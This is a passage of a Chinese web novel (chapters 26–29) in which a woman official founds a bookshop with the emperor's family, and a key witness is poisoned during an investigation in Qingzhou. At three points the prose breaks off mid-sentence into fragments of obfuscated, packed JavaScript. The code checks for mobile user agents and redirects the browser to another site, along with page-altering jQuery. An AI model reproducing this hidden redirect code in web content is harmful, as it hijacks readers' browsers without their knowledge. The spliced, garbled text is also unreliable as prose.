“蒋大人,我身上既无爵位,又已决心修道,脱离红尘,不必再以皇子称我,如今我只是玉清观的云隐道士。” “臣素闻大皇子贤名,一直仰慕有加,只可惜当年臣只是一个小小县令,帮不上大皇子。” 谢怀礼沉下脸:“当年事已过,往事不必再提!” 蒋仁德丝毫不惧:“殿下,当年之事,有心人都知道您是被陷害的,如此错失皇位,您真的甘心吗?” “大胆!”谢怀礼一拍桌子,怒视对方。 “不管您怎么训斥下官,下官心中都是如此想的,当今天子德不配位,得位不正,是非曲直皆在百姓心中,您有端王殿下相助,未必没有一争之力,况且……” “况且什么?说啊。”谢怀义着急催促,等不及蒋仁德开口就朝谢怀礼道,“皇兄,你看,并非只有我一个人这么想,那个谢怀川整日游山玩水,纵容后宫外戚把持朝政,丝毫不把江山社稷放在心上,这样的人怎么配当皇帝?” 蒋仁德看着若有所思的谢怀礼,低下头勾起嘴角:“端王殿下所言甚是,江南富庶,国库空虚,天子不得人心,殿下,眼下就是最好的时机啊!臣一生别无所求,只愿能用一身本事为民谋福祉,追随一明主!” “这不是小事,你先回去,容我好好想想,再做决定。”谢怀礼一脸疲惫地捏捏眉心。 蒋仁德深知这种事不可能仅凭他一次登门就能谈成,他看了桌上的盒子一眼:“下官告退。” 谢怀义看到人走了,伸手打开盒子,倒吸一口凉气,谢怀礼也是一脸凝重。 谢怀川从书房走出来,拿起盒子里的东西,寒光闪闪,是剑,一把好剑:“这剑是新铸的,没有标号,非军中规制,他背后肯定还有别人,拥有私铸兵器的能力,不可小觑。” “已经私铸兵器了,才来找上我,这个时候拉我上船,无非是想利用我扯个拨乱反正的名号。” “怕是不止,对方还盯上了四皇兄的财力。” 谢怀义眉头紧皱,一脸嫌恶:“到底是谁?难不成对方还与兵部之人有勾结?” “到底是谁,试试便知。” “皇兄,不可,对方有私兵,这无异于与虎谋皮。”谢怀川劝道,一旦暴露,皇兄何其危险。 “对方已经盯上我,这贼船上与不上怕是由不得我做主了,趁着事情还有挽回的机会,我便去一探虚实,如果能成功揪出幕后主使,也能避免再起兵祸。” “皇兄!” “孰轻孰重,你比我清楚,莫要再劝,何况我也不是立刻就答应随他去,在此期间就靠你去追查了。” 26. 分股 晚饭是道童从斋堂送来的,正一教的饮食禁忌没有那么多,因此这些饭菜并非全是素菜。江幼宜从兖州奔波至此,一路上也没怎么好好吃饭,这些斋饭味道还挺不错,她吃得喷香。 想到谢怀川早就知道她身份,而大皇子也并非想用表哥来要挟她做事,她尴尬的同时又生出些怨念,早知道就不用这么东奔西藏的了,吃也吃不好,睡也睡不好,白白折腾了自己一遭! “傅施主,您的药。”饭后,道童端着一碗药递给傅文松,顺便收走了桌上的餐具。 “表哥,这药是?” “哦,是带我来这里的道长帮我开的,”傅文松苦笑一声,“这药效果很好,怕也是皇上的旨意吧。”这些代价都是幼宜在帮他偿还,等下山后,他一定要对编辑部尽心尽力,才不负幼宜的付出。 中秋已至,天气转凉,山上感受尤其明显,江幼宜早早醒来,洗漱之后进了小院堂屋,表哥已经坐在窗边读书了,手上拿着的书十分眼熟。 “表哥,这是哪儿来的?”兖州的刻坊进度这么快吗,已经把那套参考书刊印出来了? “早上有人送来的,表妹,有你这套书,下次会试我有八成把握。”傅文松说着暗戳戳撇了另一边的桌子一眼。 只见桌子上除了一摞书籍,还有一堆胭脂水粉和笔墨纸砚。 这书有两套,来人特地说有一套是给他带的,所以傅文松才拿着看,另外那些东西来人没说,那就是专程送给表妹的,这些天每天都有人往小院里送东西,吃的穿的用的,没有重样过,连他都忍不住想八卦,这些真的是陛下给幼宜的员工福利吗?当然,员工福利是幼宜表妹自己说的,虽然也有听闻皇上赏识哪个臣子,就会大堆大堆的赏赐往府里抬,但他总觉得表妹和陛下之间没那么简单。 他可没有忘记初见陛下的时候,陛下看他的眼神。 江幼宜看着摆了满满一桌子的东西,看来陛下并没有她想象中那么缺钱啊,既然如此,为了让陛下的书铺早日营业,二轮融资也该提上日程了! 她往旁边的书上看去,最上面放着一封信,封面上写着:致傅小友。 江幼宜打开信封,确实是李明章写的,大致意思是刻坊的学徒已到位,那套科举书已经刊印了几套样书,送来给她看看还有没有需要修改的地方,如果没有,他就安排刻坊先刊印平装版了。 没错,江幼宜打算把这套科举书分成两个版本,平装版和精装版,多色套印还需要尝试,短时间内无法刊印成功,而且颜料昂贵,也不能大肆发行,因此她决定把三色版做成精装版,针对高端客户出售,平装版就是黑墨的,低价卖给寒门学子。 她打开书册,认真翻看,确保字迹清晰,书中没有任何错误,提笔给李太傅回信。 为了下一届科举,这套书越早上市越好,考虑到现在刻坊人手不是那么充足,江幼宜在回信中提到了刊刻顺序,把应对会试的放在首位,其次是乡试。 “来人。” 影七从檐上下来:“皇……大人,有何吩咐?” 江幼宜把信递给影七:“给李太傅的回信,另外,告诉你们主子,钱多烧得慌就给李太傅,好让太傅给刻坊多招些人。” 影七头都没敢抬,接了信就溜了。 “哈哈哈哈哈,笑死我了,她真这么说啊。”谢怀义笑得上气不接下气,把大腿拍得“啪啪”作响。 谢怀礼低着头,接着喝茶的姿势用衣袖遮住唇边的笑意,只是颤抖的肩膀却无处可藏。 谢怀川黑着脸瞪着堂中的影七,反思自己看人的眼光是不是太差了,怎么能在暗卫堂里挑出这么些没有眼力见的人,这种话就不能偷偷私下告诉他吗! 他扭头看向笑得正欢的谢怀义:“四皇兄。” 谢怀义看过来,脸上的笑容戛然而止,警惕道:“你想干什么?” 谢怀川脸上挂着如大皇子一般如沐春风的笑容:“四皇兄,藩王无召外出,是重罪,你我是兄弟,只罚银五万两如何?” 谢怀义拍案而起:“五万两!你怎么不去抢!” “江南一向富庶,税收占全国税收的六成,四皇兄享封地一半的税收,区区五万两想必对四皇兄来说也不是什么大钱。” “你说得轻巧,下面缴上来的都是粮食布匹,哪有那么多现银!” “那就依四皇兄所言,用等额的粮食布匹代替也行。” “你!” 谢怀礼推给谢怀川一个盒子:“这是这些年为兄攒下的,怀川拿去用吧。” “皇兄,我不是这个意思……” “拿去吧,我在这里吃喝不愁,花不着什么钱,攒着也是攒着,你拿去用在百姓身上也是功德一件。” 谢怀义从怀里掏出一沓银票,“啪”一声拍在桌上:“真是矫情,拿去,剩下的我回去用粮食补给你。” “多谢皇兄,多谢……四皇兄。” 谢怀义把手张开放在耳后,侧头用耳朵对着谢怀川:“什么什么?声音太小了,我没听清。” 江幼宜欣赏了一会儿谢怀川窘迫的模样,适时出面解围:“哇,陛下好生厉害,一出手就为咱们的书铺吸纳了这么多投资。” 她掏出账本:“陛下出资一万两,占一成股,端王出资五万两,占五成股,大皇子出资两万两,占两成股。” 谢怀义追问:“还有两成股呢?” 她笑嘻嘻抬头:“不才在下技术入股,占两成。” 谢怀礼不明所以:“江姑娘,何为技术入股?” “唔,就是我参与编撰书铺出版的科举书、话本,还为书铺提供先进的印刷技术和营销手段,保证各位参股人赚的盆满钵满。” “你说的都是些虚无缥缈的东西,与空手套白狼何异?皇兄,你别被她骗了,还有老六,你小心她把你的书铺搞得血本无归。” 谢怀川看了江幼宜一眼,小声道:“我不在乎。” “你不在乎我在乎,这里面数我投的钱最多!” “没记错的话这钱是作为四皇兄你私自出封地的罚金,按理来说,这钱应该算我的。” 江幼宜立马在账本上划了一笔,重新写:“陛下出资六万两,占六成股,端王无出资,无占股。” “我再出五万两,非要看看你这个女人要搞什么名堂,快给我算算占几股!霍礼,拿算盘来!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614411|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 江幼宜看了谢怀义一眼,端王殿下可真好骗啊,她再划掉,重起一页:“陛下出资六万两,占四成股,端王出资五万两,占三成三股,大皇子出资两万两,占一成四股,我占一成三股。” 谢怀义目瞪口呆,这个女人的算学也太好了吧,不用算盘也能算出来? “王爷,算盘来了。” 谢怀义不死心地用算盘算了一遍,居然是对的。 “今日中秋佳节,江姑娘喊傅公子一起来吃饭吧,我从山下叫了酒楼的饭菜,也让大家换换口味。” 江幼宜率先看向谢怀川,对方正目露期待看着她,她再转向谢怀义。 “哼,爱来不来。” 她手抵在唇边笑了声,看向大皇子:“那就恭敬不如从命了,我去喊表哥。” 江幼宜走后,谢怀礼看向谢怀川:“怀川,为兄也只能帮你到这儿了。” “皇兄,你就不该帮他,看他装到几时。” “说得好像四皇兄你很厉害一样,皇嫂都没跟你一起出来过中秋,想来四皇兄也没好到哪里去。” 谢怀义得意地笑起来:“我可跟某人不一样,卿卿这次之所以没跟着一起出来,是因为她有孕了,我才舍不得卿卿如此辛苦,不像有些人,嘴硬的要命,不知道什么时候才能抱得美人归呢,啧啧啧,真可怜。” 谢怀义和他的王妃本是指腹为婚,成婚前不止一次传出流言,对方时代书香世家,看不上这个流连风月场所的浪荡子,谢怀川本以为他们婚后生活肯定不如意,没成想竟然被对方秀了一脸。 他开口:“求指导。” 谢怀义一脸不可置信地看着他,一副不敢相信自己听到了什么的模样:“我没听错吧?” “没听错。”谢怀川到底还是有些不好意思,低头靠喝茶掩饰自己,只面上装得镇定。他所能想到的招数这几天都用完了,也没得到江幼宜几个好脸色,他实在是没招了。 “哈哈哈哈哈,你也有求我的一天!”谢怀义笑够了劲才继续道,“我跟你的情况可不一样,我的招数你用不来的。” “为何?”明明四皇兄跟四皇嫂婚前关系也不好,为何他的招数自己就使不得了? 谢怀义点点自己的脸皮:“所谓烈女怕郎缠,我能放下自己的脸面,死缠烂打,你能吗?” 手中的茶杯越握越紧,嘴巴张张合合,最后只说:“先教我吧。” “切,那你跟我来,我给你传授我的独家秘笈。” 江幼宜带着傅文松来到大皇子这边,看到她走前还针锋相对的两人在外面,谢怀义勾着谢怀川的肩,两人背对着这边叽叽咕咕。 “殿下。”江幼宜和傅文松见礼。 “殿下,他们是在?” 谢怀礼意味深长笑一声:“怀义正在给怀川传授独家秘笈。” 江幼宜摸不着头脑,谢怀义能给谢怀川传授什么秘笈?怼人秘笈?谢怀川还用学? 身后脚步声传来,江幼宜转身,正好对上谢怀川的眼神,奇奇怪怪的,好好的为什么要学大皇子那样笑啊,但该说不说,温柔版的谢怀川还挺让人……她控制住想要捂胸口的手,低头朝两人见礼。 27. 助攻 到底是要挣钱的手艺,酒楼的饭菜还是比斋堂的好吃很多,但是对面坐着温柔版谢怀川,还一直看她,一旦哪道菜她多看两眼,对方立马就把那道菜换到她面前,她感受着一桌子人若有似无投来的目光,再好吃的饭菜都打折了,她颇为怨念的看了谢怀川一眼,好不容易吃顿好的,就不能让她专心享受下美食嘛。 再又一次对面人想要调换菜色的时候,江幼宜用眼神制止了对方,对面人不情不愿住手,看起来颇有些委屈。 ? 就算被她看破提拔她的目的,也不用这样吧?她又不会撂挑子不干了。 而且做这副样子给谁看啊?搞得她钢铁般坚硬的心像被烈火烤过——有点融化了。 她食不知味地吃完这顿大餐,准备告辞回去收拾行囊,好明天一早下山回兖州。哦,差点忘了“西山先生”,得先拐去磁山带上“西山先生”,耽搁了几天,希望先生不要怪罪。 收到皇弟投来求助的目光,谢怀礼适时开口:“江姑娘,马上要放烟火了,一起去观日峰看看吧?” “还有烟火?” “山上不能放,不过山下河边每年都会放,观日峰那里视野开阔,一切景色都能尽收眼底,江姑娘好不容易来一次,错过这良辰美景岂不可惜?” “说的是,那就一起去欣赏一番吧。” “走走走!”谢怀义一把揽住傅文松,“傅兄弟,我年年都来看,知道一处绝佳的观赏之地,咱们早早去占上,免得去晚了没有位置。” 江幼宜心道:端王何时跟表哥如此亲近了? 沉香木的气息随着来人一并靠近,不用看也知道是谢怀川,清泠的声音在耳边响起:“走吧。” “哦。” 一路上谢怀川并未说话,但存在感极强,江幼宜感觉自己的走路姿势都不对劲起来,不知不觉走到一座亭子里,感受着秋日夜晚的凉风吹拂在脸上,她才反应过来这里除了她和谢怀川没有旁人。 “大皇子他们呢?” 谢怀川解下身上的披风,搭在江幼宜肩上:“此处比观日峰的视野还要好些,但亭子狭窄,站不下几个人,还是不告诉旁人的好,否则大家都看不尽兴。” 江幼宜四下看看,这亭子挺宽敞的呀,站十个人都没问题,她看向谢怀川,哪里就狭窄了? 对方轻咳一声,道:“烟火快开始了。” 江幼宜把身上的披风递还给谢怀川:“陛下,我不冷,你看你都冻咳嗽了,还是你披着吧。” 她看到对方的脸一瞬间比这夜色还要黑,接过披风不由分说披在她身上,还在领口打上结:“我不是咳嗽,山上凉,你披着。” 江幼宜微微垂头,看着谢怀川笨手笨脚地在她下巴处打结。 “你抬头,不要看。”谢怀川感受着对方呼在手背上的灼热气息,硬邦邦发出命令。 江幼宜听话地抬头,视线扫过对方不停上下滚动的喉结,像猫看到了毛球,手不经大脑思考就摸了上去,紧接着她的手背上覆盖了另一只更宽厚的手掌,在寒凉的秋风里不停散发着热意。 对方眼神幽深,声音低沉喑哑:“你在做什么?” “陛下,你的脖子和手都好热,是不是发烧了?”江幼宜慌乱地把手抽出来,踮脚覆在对方额头上。 半晌,谢怀川叹息一声,握住江幼宜的手塞到披风里面:“不是,不要再瞎猜了,你的手很凉,小心着凉。” 江幼宜“嗖”一下把两只手都藏在披风里,低下头,后知后觉自己的脸也烫得要命,唔,可能要感冒的确实是自己呢。 谢怀川身后绚烂的烟火打破异样的氛围,江幼宜赶紧道:“陛下,快看烟火。”别看我了。 看着谢怀川转身,江幼宜悄悄松一口气,怎么回事?自从跟谢怀川吵架之后,气氛总是怪怪的,自己可是起居舍人啊,之后还得继续跟谢怀川朝夕相处呢。 “在想什么?” 啊,什么时候靠得这么近了?江幼宜克制着自己没有往旁边躲:“在想明日带表哥下山的事,陛下,表哥对于我那套参考书的思路很熟悉,我想让表哥去暂代编辑部的主编,没问题吧?” “这个想法本来就是你提出来的,当然全权由你决定,你觉得什么人合适就用什么人,不必事事问我,我相信你。刚好青州那边传来消息,已经找到刘妈妈了,不过对方现在不太好,李寒月正在找大夫给她看病,我们要尽快启程去青州,以免最后的线索断了。” “不太好的意思是?” “她疯了。” 江幼宜握紧了身前的栏杆,绚烂的烟火在眼前炸开,她已无心欣赏,只能感受到无尽的凉风吹透她的身体。 一只温暖的大掌覆在她冰凉的手上,用力一握:“你别担心,她是真疯还是装疯尚未定论,而且我既已到此,就绝不会让这件事被轻易揭过,定会还李寒月家一个公道,还需要你帮我。” “我……我怎么帮?”她也想尽力,可她只擅长写真相,却不擅长查真相。 “朝中人除了汪霖,皆不知你真实身份,我观你似乎对不平之事颇为敏感,所以想请你与我假扮夫妻,暗中寻访,争取找到更多如李寒月一样的受害人或证人,查证之事你不必担心,我已让汪霖暗中派一批锦衣卫前来相助。” 啊,假……假扮夫妻吗?她前世也不是给演员啊,怎么来了这里不是女扮男装就是假扮夫妻,但是这样好像确实更好隐藏谢怀川的身份。 或许因为今天是中秋佳节,天上的圆月清冷更胜谢怀川,衬的谢怀川都温柔起来,她不由自主点了点头,一天也是演,两天也是演,回到京城更是要天天演,趁着现在多锻炼一下演技也无不可。 谢怀川轻轻一笑,转过身去继续欣赏烟火。 江幼宜低头看一眼仍然握在一起的手,从现在就开始演吗?那好吧。 旁边人笑意更深:“今晚的烟火很美。” 她仔细看了又看,陛下如果见识过现代花样繁多的烟火,就不会认为今晚的烟火好看了,不过她自己也都回不去了,眼前的已经是她能欣赏到的最美的烟火了,且行且珍惜吧。 谢怀礼隐身在一颗古树之后,看江幼宜和谢怀川相谈甚欢,深藏功与名,转身离开。 “烟火都开始了,表妹她们怎么还没来?” “谁知道她们跑哪里去了,别管了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614412|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看我们的。” 中秋节后第二天,江幼宜和傅文松同谢怀川一起下山,先到磁山去接“西山先生”。 “你……你是‘西山先生’?” 江幼宜看着眼前干净挺拔,面目俊秀的男人,微微诧异,要不是对方身上穿的正是她在成衣铺挑的衣服,她会以为对方换人,虽说人靠衣装马靠鞍,但这变化也太大了,荒岛野人爆改古风小生。 俊秀男人打量着江幼宜,语气迟疑:“唔,你是……那天那位公子?” 谢怀川站到江幼宜旁边:“‘西山先生’你好,我是她的夫君,应约来接你去稷下书院。” “好的好的,我去拿上包袱就可以出发了。” 马车上,江幼宜毫不掩饰自己的目光:“先生,您这前后差异也太大了,刚刚差点没认出来您。” “哈哈哈,彼此彼此,主要是不写话本之后过得有些落魄,让各位见笑了。” 江幼宜奇怪:“先生名声在外,怎会落得如此境地?” “说来话长,书铺老板希望我写迎合市场的话本,年轻气盛,认为这是书铺老板对我的否认,跟几个书铺老板都吵过架,他们认为我的书不时兴,他们不收我也不写,就变成现在这样了。”想到眼前人就是想找他写话本的,他赶紧又道,“我现在不这么想了,放心,你们让我写什么样的我就写什么样的。” 江幼宜:“先生还按照以前的风格写就行,读者的口味是多变且难以统一的,我们要做的不是迎合,而是引导,先生话本里传达出的不屈和冒险精神正是我们需要的,所以不用改。” 西山先生十分激动,如果他几年前遇到的书铺老板能这么想,他也不至于断笔五年,还沦落到打猎为生,江姑娘可真是他的知音啊!他伸出双手就要握上江幼宜的,突然感觉一道犀利的目光射向他,他微微侧头,一双黑漆漆的眼睛正目不转睛盯着他,他赶忙收回手,正襟危坐。呜呜,江姑娘的夫君好可怕! 回到稷下书院,江幼宜给表哥和西山先生安排好住处,正要回自己房间休息,傅文松在身后叫住了她。 “表哥,怎么了?” 傅文松神情严肃:“幼宜,你老实说,你跟陛下到底是怎么回事?” “我……是为了隐藏身份,表哥,陛下身份贵重,现在是紧要关头,不容任何闪失,我身为臣子,理应为君分忧。” “幼宜,真的只是这样吗?你对陛下没有一丝一毫超出君臣关系的想法吗?” 江幼宜轻轻一笑:“表哥,我的坚持你知道的,现在仍然不变。” “正是知道,我才更担心,陛下的身份,注定无法与你的愿景相合,你常伴陛下左右,长此以往,真的能保证自己一直只跟陛下保持君臣关系吗?” 她好像没办法再继续欺骗自己了,扪心自问,她确实对谢怀川动了心,可对方是皇帝,后宫佳丽三千在所难免,她要的是一生一世一双人,谢怀川注定给不了她,而且,她为官是为了给女子争权,一旦入后宫,所有的努力都会化为泡影,朝堂不会再有女子的身影,且再不会有女子的身影,她自己也会变成一只笼中鸟。 江幼宜抬头:“我能的。” 28. 青州 走之前拜托李太傅帮忙招人,男女不限,现在人都已经招来了,江幼宜在其中挑选几位对色彩敏感、头脑灵活的人同她一起研究多色套印技术,她对这个技术只有模模糊糊的印象,具体还得多番实验才能真正用于刊印。 平装版也就是单纯黑墨版已经正式刊刻,为了一举攻占市场,平装版印量很大,仅临东府肯定吃不下,而且她们的目标也不止是临东府,而是全国。所以下山前江幼宜特意找端王谈过,让他回江南时带走一大半,在江南开第二家书铺分店,并承诺之后的精装版也会更多供应给他。 谁让江南是全国最富庶的地方呢,而且江南学子数量也多,可怜的端王就这么被忽悠着出钱又出力,还以为自己占了大便宜。 多色套印终于在端王回江南之前研究出来了,但精装版的书没能第一时间印出来,端王只能先带着平装版回去了,毕竟家中还有孕中的妻子,他不能久留。不过临走前留下了几个护卫,以便精装版刊印出来第一时间送去江南。 科举参考书有表哥坐镇,江幼宜没什么不放心的。至于话本这边,她交给了赵熹,也就是“西山先生”负责,既可以签约有品质保证或有潜力的写话本的人,又可以向民间征集有意思的话本故事。 她自己手里已经完稿的那篇最终也放在了书铺进行首发,并且为了一炮打响稷下书铺的名号,她决定以后“画中仙”的话本都独家授权给稷下书铺,并已经将这个卖点和签约了“西山先生”这个卖点都宣传了出去。 由于书院在城外,地处偏僻,江幼宜最终还是决定把书铺开在城内,当然为了方便书院内的学子,书铺的书也会在书院内进行销售,不过不是以书铺的形式,而是以图书馆的形式。 毕竟书铺也是借了稷下书院和李明章的名头,考虑到书院内的学子都是寒门,书院内是她特设的图书馆,当然学子们更习惯称之为藏书阁,书院内的学子可以免费借阅抄录馆内的书籍,如果想要购买,也有内部特惠价。 当然,为了防止出现“黄牛”,江幼宜规定了每位学子限购两套。 如此,书铺这边的事就大致都安排好了,至于后续的经营,江幼宜相信,仅凭那套科举参考书,生意也不会差到哪里去。 “太傅,表哥,回吧,我走了。”江幼宜站在马车旁朝李太傅和傅文松挥手。 傅文松站在书院门口,同样朝江幼宜挥挥手,半晌,他看向站在江幼宜身旁的皇帝,他看得分明,陛下对幼宜也并非全无真心,若不是自己执念太重,在进京前熬垮了身子,幼宜或许就不会替他进京,也就不会遇到皇上,陷入如今这般境地。 江幼宜垂在身侧的手突然被一只大掌包裹,只听身旁人道:“表哥放心,我定会照顾好幼宜的。” 对方的表情过于真挚,傅文松一时分辨不出陛下这句话到底是出于真心还是出于做戏:“陛下……” 谢怀川抬起和江幼宜交握的手:“表哥,你忘了,我跟幼宜现在只是一对外出行商的寻常夫妻。老师,表哥,回吧,我们走了。” 一马车两骡车消失在烟尘里,李太傅轻声感慨:“希望能有一个好结果吧。” “陛下,马车里也要做戏吗?”江幼宜晃晃被牵着的手。 谢怀川收回手掌,表情没有丝毫抱歉的意思,淡淡道:“以后要喊我夫君,娘子。”他已经逐渐领悟四皇兄传授的秘笈了。 江幼宜脸颊泛红,微微垂头避开谢怀川的实现:“哦。” 从兖州去青州会途径岳州,两辆骡车里装的都是书,既是为了掩藏身份,也是为了推广参考书,不过兖州和岳州临近,这里就交给李太傅他们。 她们此次不会在岳州停留,将会一路快马加鞭直下青州,因为今早收到青州来信,刘妈妈可能时日无多了。 日夜兼程行至青州境内,在城中客栈下榻。 入夜,暗卫来报,刘妈妈怕是不行了。 “怎么回事?” “回主子,今日清晨刘妈妈突然口吐白沫,浑身抽搐,大夫已经施针,但情况怕是不妙。” 自从找到刘妈妈,李寒月一直在贴身照顾,同刘妈妈同吃同住,暗卫隐身暗处并未现身,也没有发现什么可疑之人,刘妈妈的情况不似生病,倒像是中毒。 显然毒不是最近下的,而是之前,事到如今,刘妈妈未透露只言片语,最坏的结果就是刘妈妈手中所藏证据被人发现,且已经被人夺走。 屋内一片寂静,江幼宜开口:“陛……还是尽快去看看吧。”或许还能发现些什么。 “连日舟车劳顿,你的身体受得住吗?” 暗卫在下首充当一个隐形人。 “我可以的,现在就走吧,而且刘妈妈算寒月最后一个亲人了,她现在应该很伤心。” “好。” 两人换了一身行头悄悄出了客栈,暗卫牵来两匹马。 “我不会骑马。” 谢怀川未答,率先翻身上马,递给江幼宜一只手:“来。” 暗卫已经上了另一匹马,没有太多时间给她犹豫,在她递出手的那刻,身体瞬间腾空,后背贴上一具火热的身体,前方被谢怀川用披风裹上,一双手环过她的腰身握住缰绳,马儿跟着前方暗卫的马冲了出去,惯性导致江幼宜的背跟身后人的身体贴的更紧,她的身体骤然僵直。 温热的呼吸扫过耳侧,传来男人温柔低沉的声音:“不累吗?靠着我,别害怕,不会掉下去的,再说,之前看你同别的人同乘一骑也没这么紧张啊。” 别的人?她就跟汪霖同乘过一次,谢怀川怎么知道的如此清楚? 脑海中浮现出两个站在屋顶上静观其变的黑衣人:“那次的黑衣人是你?” “嗯,听暗卫说你被人跟了,所以出来看看。” “你知不知道你吓到我了,我还以为我被两伙人同时追杀!” 身后人沉默一瞬:“抱歉。” 片刻后,江幼宜放任自己完全靠在身后人温暖的怀抱,箍着她腰身的胳膊也瞬间收紧,两个人紧紧贴在一起,连一丝风都灌不进来。 江幼宜和谢怀川赶到小刘村的时候,大夫已经施完针走了,能不能活下来就看刘妈妈能不能撑过今晚了。 “公子,傅姑娘。”她知晓现下绝不能暴露陛下和傅大人的身份,虽然有点疑惑傅大人为什么之前极力掩饰女子身份,现在又作女子装扮,但看陛下就在身边,想来陛下是知情的,在陛下面前无需遮掩。 江幼宜看着李寒月憔悴的面色,除了脸上少了伤痕,比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614413|187681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前刚被救下的时候好不了多少,想来这段时日照顾生病的刘妈妈,再加上还没拿到证据,过得十分辛苦吧。 “寒月姑娘,我叫江幼宜,你叫我幼宜便好。” “幼宜姑娘看着比我小,我托个大,就叫你幼宜妹妹吧。” “寒月姐姐。” “这么晚了,寒舍只有两间房,我今晚在这里陪着刘妈妈,公子和幼宜妹妹到我房中休息吧。” 谢怀川看向江幼宜:“你去吧,我在这儿守着。” 她轻轻摇头:“我不累,距离天亮没多少时间了,我们一块守一守吧。” 床上的人呼吸清浅,一动不动地睡着,李寒月坐在床边一眨不眨地守着,谢怀川和江幼宜坐在凳子上,中秋过去已有半月有余,窗外的月亮现在只有弯弯的一芽,高悬空中。 月圆月缺,似乎亘古不变。单看月亮,江幼宜几乎感受不到这个时代和现代的差异,细细想来,人的生命真的很微不足道的,无论是在大自然面前,还是人类社会的规则面前。 比起太阳和月亮,人的生命是如此短暂,太阳和月亮在无限的生命里只做一件事,循环往复的升起又落下,而人,在有限的生命里却活得如此相似又不同。 相似如底层百姓,日复一日年复一年耕织缴税,百代千代传承下去,遵纪守法,依旧还是底层;不同如达官贵人,家中后代一出生就锦衣玉食,过着底层百姓挣扎千年也想象不到的奢靡生活,合法或不合法的致富经层出不穷,财买到权,权庇护财,周而复始,生生不息。 “在想什么?”谢怀川看着江幼宜对着窗外的月亮出神,不禁问道。 “在想一万年以后的月亮,也还是这样的吗?” “刘妈妈!”身后的惊呼打断了两人的对话,起身来到床前。 床上的刘妈妈浑身抽搐,双手掐着自己的脖子,脸色已经发紫,李寒月用尽全力也掰不开,谢怀川见状上前,轻松把刘妈妈的手掰开抓住,防止她再伤害自己或他人。 渐渐地刘妈妈身体不再抽搐,双眼睁开,好似恢复了清明,谢怀川试探着把她的手松开,床上人没有异动,只冲着李寒月嘴里呜呜啊啊的,好像在说话,见人听不明白,开始用手比划。 三人都不知道她想表达什么,刘妈妈从床上坐起来,光着脚就往外跑。 “刘妈妈!”李寒月紧跟着跑出去。 “她好像是要带我们去什么地方,会不会是哪里藏着证据?” 谢怀川拉着江幼宜跟出去:“跟上去看看就知道了。” 月色朦胧,看不真切,三人跟在刘妈妈身后,渐渐听到水声潺潺。 谢怀川突然把江幼宜藏至身后,另一只手只来得及把李寒月推到一边,朝前面的刘妈妈高声道:“小心!” 只见前方的刘妈妈骤然倒地,暗卫身着黑衣手持利剑围在谢怀川身边,警惕地看向四周。 一暗卫上前去查探刘妈妈的鼻息,对着谢怀川轻轻摇头,李寒月跑过去跪倒在刘妈妈身边痛哭。 “是毒针。”暗卫戴着手套,从刘妈妈后颈拔出一根细长针。 毒针从前喉贯穿至后颈,谢怀川看向刘妈妈身前,一直到河边都无处藏人,他把目光投向树影重重的对岸:“追。” 29. 知州 江幼宜上前安慰李寒月:“不要太过伤心,现在最重要的是找出证据,把害死你父母和刘妈妈的凶手绳之以法。” “都怪我,是我一直没理解刘妈妈的意思,原来刘妈妈几次来河边不是为了投河,而是为了告诉我证据所在!如果我早领悟了刘妈妈的意思,她是不是就不会死了。” “你的意思是刘妈妈之前也来过河边?你还记得她去的哪里吗?” 李寒月擦擦眼泪,带着江幼宜来到一块大石头处:“是这里,我看刘妈妈往下走,以为她是想不开要投河。” 江幼宜仔细观察这块大石头,如果东西藏在这附近,刘妈妈不会下水,她把目光投向河面,这条河并不宽,现在光线太暗,也看不出深度。 她伸手扯了扯谢怀川:“你快看,河对面的岸边是不是也有一块石头?” “我想起来了,之前我在河边洗衣服的时候无意中听村里的妇人说过,冬天这条河的水会变浅,能露出一条石头铺的路,刘妈妈正是去年冬天回来村里的。” 江幼宜看向谢怀川:“或许东西就藏在河对面。” “现在天色太暗,先把刘妈妈带回去吧,我们等天亮再去找。” 李寒月站在河边一动不动,看样子想直接趟水去对岸,哪里既可能藏着证据,也有杀害刘妈妈的凶手。 “我的急切并不比你少,现在尚不清楚对岸人的底细,也不知对方有多少人,是否就暗中等着我们找到证据,再趁机下手,你现在贸然过去,找不找得到证据另说,还可能陷入对方的圈套,你父母的案子还需要证人,你确定你现在就要过去吗?” 良久,李寒月转身,向着刘妈妈的尸体走去。 为了防止对方先找到证据,大部分暗卫都在对岸的树林里搜查,天色微亮时,暗卫带回来一具黑衣人的尸体,对方已经服毒自尽,身上除了一副袖箭,没有任何东西。 袖箭检查没问题之后,谢怀川把它绑在了江幼宜的手腕上:“戴着防身。” “我不会用。” “天亮了,我们先去找证据,回头我教你。” 